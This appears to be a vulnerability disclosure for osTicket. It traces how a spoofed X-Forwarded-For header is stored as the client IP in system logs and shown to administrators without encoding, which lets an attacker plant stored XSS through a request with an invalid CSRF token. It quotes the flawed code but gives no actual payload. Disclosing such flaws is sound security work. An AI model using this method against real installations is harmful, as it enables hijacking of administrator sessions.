 DESCRIPTION
==============

**osTicket** is a widely-used open source support ticket system. It seamlessly
integrates inquiries created via email, phone and web-based forms into a
simple easy-to-use multi-user web interface. Manage, organize and archive
all your support requests and responses in one place while providing your
customers with accountability and responsiveness they deserve.

=======================
 VULNERABILITY DETAILS
=======================

file `osticket/upload/bootstrap.php` contains this 
snippet of code (line 337-340):

  ...

if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))
    // Take the left-most item for X-Forwarded-For
    $_SERVER['REMOTE_ADDR'] = trim(array_pop(
        explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])));

   ....

The $_SERVER['REMOTE_ADDR'] value gets overrided with the `X-Forwarded-For` header value,
at this point, it is not a vulnerability but...
file `osticket/upload/include/class.osticket.php` line 309-315 :

  ...

//Save log based on system log level settings.
        $sql='INSERT INTO '.SYSLOG_TABLE.' SET created=NOW(), updated=NOW() '
            .',title='.db_input(Format::sanitize($title, true))
            .',log_type='.db_input($loglevel[$level])
            .',log='.db_input(Format::sanitize($message, false))
            .',ip_address='.db_input($_SERVER['REMOTE_ADDR']);

        db_query($sql, false);

    ....


Everytime when a csrf attack is dettected (checking `X_CSRFTOKEN` header or the post parameter `__CSRFToken__`), 
Osticket saves into database the user controled value $_SERVER['REMOTE_ADDR'] even if it has an invalid format.

Finally the XSS is triggered when a user who can see the system logs like an administrator, visits
the /scp/logs.php URI. It happens because osticket does not encode the output of the data stored into the database.

The code responsible for lanching the XSS is located in `osticket/upload/include/staff/syslogs.inc-php`
line 142...

...
<td><?php echo $row['ip_address']; ?></td>
...

So...

An attacker can make an HTTP request with a header `X-Forwarded-For` containing the XSS payload 
with an invalid CSRF token to the login interface waiting for an administrator to view the logs and trigger the XSS.
